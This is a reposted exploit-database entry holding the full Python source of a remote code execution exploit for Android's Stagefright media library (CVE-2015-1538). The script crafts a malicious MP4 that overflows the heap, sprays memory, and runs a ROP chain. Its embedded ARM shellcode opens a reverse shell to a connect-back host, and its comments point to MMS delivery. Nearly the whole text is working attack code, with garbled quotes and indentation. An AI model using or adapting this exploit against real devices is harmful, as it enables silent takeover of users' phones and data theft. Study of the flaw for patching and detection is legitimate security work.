Google Android – ‘Stagefright’ Remote Code Execution

  • 作者: Joshua J. Drake
    日期: 2015-09-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38124/
  • #!/usr/bin/env python
    # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
    # Shout outs to our friends at Optiv (formerly Accuvant Labs)
    # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
    # www.zimperium.com
    #
    # Exploit for RCE Vulnerability CVE-2015-1538 #1
    # Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling
    #
    # Don’t forget, the output of “create_mp4” can be delivered many ways!
    # MMS is the most dangerous attack vector, but not the only one…
    #
    # DISCLAIMER: This exploit is for testing and educational purposes only. Any
    # other usage for this code is not allowed. Use at your own risk.
    #
    # “With great power comes great responsibility.” – Uncle Ben
    #
    import struct
    import socket
    #
    # Creates a single MP4 atom – LEN, TAG, DATA
    #
    def make_chunk(tag, data):
     if len(tag) != 4:
     raise ‘Yo! They call it “FourCC” for a reason.’
     ret = struct.pack(‘>L’, len(data) + 8)
     ret += tag
     ret += data
     return ret
    #
    # Make an ‘stco’ atom – Sample Table Chunk Offets
    #
    def make_stco(extra=”):
     ret =struct.pack(‘>L’, 0) # version
     ret += struct.pack(‘>L’, 0) # mNumChunkOffsets
     return make_chunk(‘stco’, ret+extra)
    #
    # Make an ‘stsz’ atom – Sample Table Size
    #
    def make_stsz(extra=”):
     ret =struct.pack(‘>L’, 0) # version
     ret += struct.pack(‘>L’, 0) # mDefaultSampleSize
     ret += struct.pack(‘>L’, 0) # mNumSampleSizes
     return make_chunk(‘stsz’, ret+extra)
    #
    # Make an ‘stts’ atom – Sample Table Time-to-Sample
    #
    def make_stts():
     ret =struct.pack(‘>L’, 0) # version
     ret += struct.pack(‘>L’, 0) # mTimeToSampleCount
     return make_chunk(‘stts’, ret)
    #
    # This creates a single Sample Table Sample-to-Chunk entry
    #
    def make_stsc_entry(start, per, desc):
     ret = ”
     ret += struct.pack(‘>L’, start + 1)
     ret += struct.pack(‘>L’, per)
     ret += struct.pack(‘>L’, desc)
     return ret
    #
    # Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk
    #
    # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
    # cause a heap overflow.
    #
    def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
     ret =struct.pack(‘>L’, 0) # version/flags
     # this is the clean version…
     if not do_overflow:
     ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets
     ret += ‘Z’ * (12 * num_alloc)
     return make_chunk(‘stsc’, ret)
    
     # now the explicit version. (trigger the bug)
     ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
     # fill in the entries that will overflow the buffer
     for x in range(0, num_write):
     ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
    
     ret = make_chunk(‘stsc’, ret)
    
     # patch the data_size
     ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]
    
     return ret
    
    #
    # Build the ROP chain
    #
    # ROP pivot by Georg Wicherski! Thanks!
    #
    “””
    (gdb) x/10i __dl_restore_core_regs
    0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
    0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
    0xb0002858 <__dl_restore_core_regs+8>: push{r3, r4, r5}
    0xb000285c <__dl_restore_core_regs+12>:ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
    0xb0002860 <__dl_restore_core_regs+16>:ldm sp, {sp, lr, pc}
    “””
    “””
    b0001144 <__dl_mprotect>:
    b0001144: e92d0090push{r4, r7}
    b0001148: e3a0707dmov r7, #125; 0x7d
    b000114c: ef000000svc 0x00000000
    b0001150: e8bd0090pop {r4, r7}
    b0001154: e1b00000movsr0, r0
    b0001158: 512fff1ebxpllr
    b000115c: ea0015ccb b0006894 <__dl_raise+0x10>
    “””
    def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
     rop = ”
     rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp
     rop += struct.pack(‘<L’, 0xb0002a98) # new lr – pop {pc}
     rop += struct.pack(‘<L’, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}
    
     rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned)
     rop += struct.pack(‘<L’, 0x1000) # new r1 – length
     rop += struct.pack(‘<L’, 7)# new r2 – protection
     rop += struct.pack(‘<L’, 0xd000d003) # new r3 – scratch
     rop += struct.pack(‘<L’, 0xd000d004) # new r4 – scratch
     rop += struct.pack(‘<L’, 0xb0001144) # new pc – _dl_mprotect
    
     native_start = sp_addr + 0x80
     rop += struct.pack(‘<L’, native_start) # address of native payload
     #rop += struct.pack(‘<L’, 0xfeedfed5)# top of stack…
     # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
     buf =”
     # fork
     buf += ‘\x02\x70\xa0\xe3’
     buf += ‘\x00\x00\x00\xef’
     # continue if not parent…
     buf += ‘\x00\x00\x50\xe3’
     buf += ‘\x02\x00\x00\x0a’
     # exit parent
     buf += ‘\x00\x00\xa0\xe3’
     buf += ‘\x01\x70\xa0\xe3’
     buf += ‘\x00\x00\x00\xef’
     # setsid in child
     buf += ‘\x42\x70\xa0\xe3’
     buf += ‘\x00\x00\x00\xef’
     # socket/connect/dup2/dup2/dup2
     buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’
     buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’
     buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’
     buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’
     buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’
     buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’
     buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’
     buf += ‘\xe3\x00\x00\x00\xef’
     # execve(shell, argv, env)
     buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’
     buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’
     buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’
     buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’
     buf += ‘\xef\x02\x00’
     # Add the connect back host/port
     buf += struct.pack(‘!H’, cb_port)
     cb_host = socket.inet_aton(cb_host)
     buf += struct.pack(‘=4s’, cb_host)
     # shell –
     buf += ‘/system/bin/sh\x00\x00’
     # argv –
     buf += ‘sh\x00\x00’
     # env –
     buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’
    
     # Add some identifiable stuff, just in case something goes awry…
     rop_start_off = 0x34
     x = rop_start_off + len(rop)
     while len(rop) < 0x80 – rop_start_off:
     rop += struct.pack(‘<L’, 0xf0f00000+x)
     x += 4
    
     # Add the native payload…
     rop += buf
    
     return rop
    
    #
    # Build an mp4 that exploits CVE-2015-1538 #1
    #
    # We mimic meow.3gp here…
    #
    def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
     chunks = []
    
     # Build the MP4 header…
     ftyp =‘mp42’
     ftyp += struct.pack(‘>L’, 0)
     ftyp += ‘mp42’
     ftyp += ‘isom’
     chunks.append(make_chunk(‘ftyp’, ftyp))
    
     # Note, this causes a few allocations…
     moov_data = ”
     moov_data += make_chunk(‘mvhd’,
     struct.pack(‘>LL’, 0, 0x41414141) +
     (‘B’ * 0x5c) )
    
     # Add a minimal, verified trak to satisfy mLastTrack being set
     moov_data += make_chunk(‘trak’,
     make_chunk(‘stbl’,
     make_stsc(0x28, 0x28) +
     make_stco() +
     make_stsz() +
     make_stts() ))
    
     # Spray the heap using a large tx3g chunk (can contain binary data!)
     “””
    0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4]; load mRefs
    0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
    0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
    0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
    0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:blx 0x40069884; atomic_decrement
    0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:cmp r0, #1; must be 1
    0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
    0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:ldr r0, [r4, #8]; load refs->mBase
    0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:ldr r1, [r0, #0]; load mBase._vptr
    0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:ldr r2, [r1, #12] ; load method address
    0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:mov r1, r6
    0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:blx r2; call it!
     “””
     page = ”
     off = 0# the offset to the next object
     off += 8
     page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28)# _vptr.RefBase (for when we smash mDataSource)
     page += struct.pack(‘<L’, sp_addr + off) # mRefs
     off += 16
     page += struct.pack(‘<L’, 1) # mStrong
     page += struct.pack(‘<L’, 0xc0dedbad)# mWeak
     page += struct.pack(‘<L’, sp_addr + off) # mBase
     page += struct.pack(‘<L’, 16)# mFlags (dont set OBJECT_LIFETIME_MASK)
     off += 8
     page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase
     page += struct.pack(‘<L’, 0xf00dbabe)# mBase.mRefs (unused)
     off += 16
     page += struct.pack(‘<L’, 0xc0de0000 + 0x00)# vtable entry 0
     page += struct.pack(‘<L’, 0xc0de0000 + 0x04)# vtable entry 4
     page += struct.pack(‘<L’, 0xc0de0000 + 0x08)# vtable entry 8
     page += struct.pack(‘<L’, newpc_val)# vtable entry 12
     rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
     x = len(page)
     while len(page) < 4096:
     page += struct.pack(‘<L’, 0xf0f00000+x)
     x += 4
    
     off = 0x34
     page = page[:off] + rop + page[off+len(rop):]
     spray = page * (((2*1024*1024) / len(page)) – 20)
     moov_data += make_chunk(‘tx3g’, spray)
     block = ‘A’ * 0x1c
     bigger = ‘B’ * 0x40
     udta = make_chunk(‘udta’,
     make_chunk(‘meta’,
     struct.pack(‘>L’, 0) +
     make_chunk(‘ilst’,
     make_chunk(‘cpil’,make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +
     make_chunk(‘trkn’,make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +
     make_chunk(‘disk’,make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +
     make_chunk(‘covr’,make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
     make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
     make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
     make_chunk(‘aART’,make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
     make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
     make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
     make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
     make_chunk(‘gnre’,make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +
     make_chunk(‘covr’,make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
     make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
     make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
     make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))
     )
     )
     moov_data += udta
    
     # Make the nasty trak
     tkhd1 = ”.join([
     ‘\x00’, # version
     ‘D’ * 3,# padding
     ‘E’ * (5*4),# {c,m}time, id, ??, duration
     ‘F’ * 0x10, # ??
     struct.pack(‘>LLLLLL’,
     0x10000,# a00
     0,# a01
     0,# dx
     0,# a10
     0x10000,# a11
     0), # dy
     ‘G’ * 0x14
     ])
    
     trak1 = ”
     trak1 += make_chunk(‘tkhd’, tkhd1)
    
     mdhd1 = ”.join([
     ‘\x00’, # version
     ‘D’ * 0x17, # padding
     ])
    
     mdia1 = ”
     mdia1 += make_chunk(‘mdhd’, mdhd1)
     mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)
    
     dinf1 = ”
     dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)
    
     minf1 = ”
     minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)
     minf1 += make_chunk(‘dinf’, dinf1)
    
     # Build the nasty sample table to trigger the vulnerability here.
     stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER
    
     # Add the stbl to the minf chunk
     minf1 += make_chunk(‘stbl’, stbl1)
    
     # Add the minf to the mdia chunk
     mdia1 += make_chunk(‘minf’, minf1)
    
     # Add the mdia to the track
     trak1 += make_chunk(‘mdia’, mdia1)
    
     # Add the nasty track to the moov data
     moov_data += make_chunk(‘trak’, trak1)
    
     # Finalize the moov chunk
     moov = make_chunk(‘moov’, moov_data)
     chunks.append(moov)
    
     # Combine outer chunks together and voila.
     data = ”.join(chunks)
    
     return data
    
    if __name__ == ‘__main__’:
     import sys
     import mp4
     import argparse
    
     def write_file(path, content):
     with open(path, ‘wb’) as f:
     f.write(content)
    
     def addr(sval):
     if sval.startswith(‘0x’):
     return int(sval, 16)
     return int(sval)
    
     # The address of a fake StrongPointer object (sprayed)
     sp_addr = 0x41d00010# takju @ imm76i – 2MB (via hangouts)
    
     # The address to of our ROP pivot
     newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs
    
     # Allow the user to override parameters
     parser = argparse.ArgumentParser()
     parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’)
     parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345)
     parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None)
     parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None)
     parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’)
     args = parser.parse_args()
    
     if len(sys.argv) == 1:
     parser.print_help()
     sys.exit(–1)
    
     if args.spray_addr == None:
     args.spray_addr = sp_addr
     if args.rop_pivot == None:
     args.rop_pivot = newpc_val
    
     # Build the MP4 file…
     data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
     print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)
     write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf